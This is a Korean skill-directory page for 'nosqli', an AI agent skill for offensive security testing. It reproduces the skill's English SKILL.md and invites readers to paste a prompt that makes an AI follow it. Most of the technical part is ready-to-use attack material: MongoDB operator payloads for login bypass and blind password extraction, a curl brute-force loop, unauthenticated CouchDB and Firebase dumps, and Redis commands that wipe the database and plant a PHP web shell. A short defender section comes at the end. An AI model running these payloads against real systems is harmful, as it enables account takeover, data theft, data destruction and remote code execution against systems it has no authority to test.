본문으로 건너뛰기
Skillpedia
보안6.5k · #14072

nosqli

하는 일

이 스킬은 사용자 입력이 질의의 일부가 될 때 MongoDB 같은 NoSQL 데이터베이스가 악용될 수 있는 방식을 설명합니다. 로그인과 검색 기능을 점검하는 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓로그인이나 검색이 MongoDB 또는 비슷한 데이터베이스를 쓰고 JSON 입력을 받는 경우.
  • ✓스캔 결과 인증 없이 읽힐 수 있는 데이터베이스가 보일 때.
  • ✓연산자 입력으로 비밀번호 확인을 우회할 수 있는지 점검하고 싶을 때.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“제 앱의 로그인이 비밀번호 대신 특수 질의 연산자를 받아들이는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 평범한 값 대신 같지 않음이나 정규식 같은 연산자를 담은 JSON을 보내고, 질의가 바뀌었음을 보여 주는 방식으로 응답이 달라지는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

NoSQL Injection

NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.

1. MongoDB — most common target

Auth bypass

// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}}      // returns first user
{"user": "admin", "pass": {"$gt": ""}}              // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}}         // blind char extraction

Server-side JS injection

{"$where": "this.user == 'admin' && sleep(5000)"}   // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}

$where was deprecated in Mongo 4.4 — still appears in legacy.

Operator extraction (blind)

# Burp Intruder w/ payload list
for char in {a..z}; do
  curl -s -X POST $TARGET/login \
    -d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
    | grep -q "success" && echo "char: $char"
done

2. CouchDB

# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document

3. Firebase Realtime Database

# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"

4. Redis

# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE

5. Tools

  • NoSQLMap — automated mongo injection (nosqlmap.py)
  • mongoaudit — config scanner
  • Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
  • fuzzdb — has NoSQL payload variants

6. PoC

# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
  | jq

# If logged-in-as-admin → critical

7. Severity

Bug Severity
Auth bypass via $ne Critical 9.8
Blind char extraction of all user data Critical 9.0
$where JS injection → RCE-adjacent (mongo runs the JS) Critical 9.8
Public CouchDB / Firebase Critical (depends on data sensitivity)
Unauth Redis on internal net High 7-8

8. Defender

// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();

// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');

// Disable $where globally
mongoose.set('strictQuery', true);

Cross-references

  • Upstream catalog: skills/_corpus/payloads/NoSQL Injection/
  • SQLi (different attack class, similar mindset): skills/exploit/web/sqli.md
자주 묻는 질문

어떤 데이터베이스를 다루나요?

MongoDB를 중심으로 하며, CouchDB, Firebase Realtime Database, Redis 패턴도 다룹니다.

결과를 보지 못해도 데이터를 빼낼 수 있나요?

네. 이 스킬은 한 글자씩 확인해서 데이터를 알아내는 블라인드 추출을 설명합니다.

서버 측 JavaScript도 다루나요?

네. 오래된 MongoDB 버전에서 JavaScript를 실행할 수 있는 $where 연산자를 언급합니다.

상세 정보

작성자의 원본 설명

NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14072
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬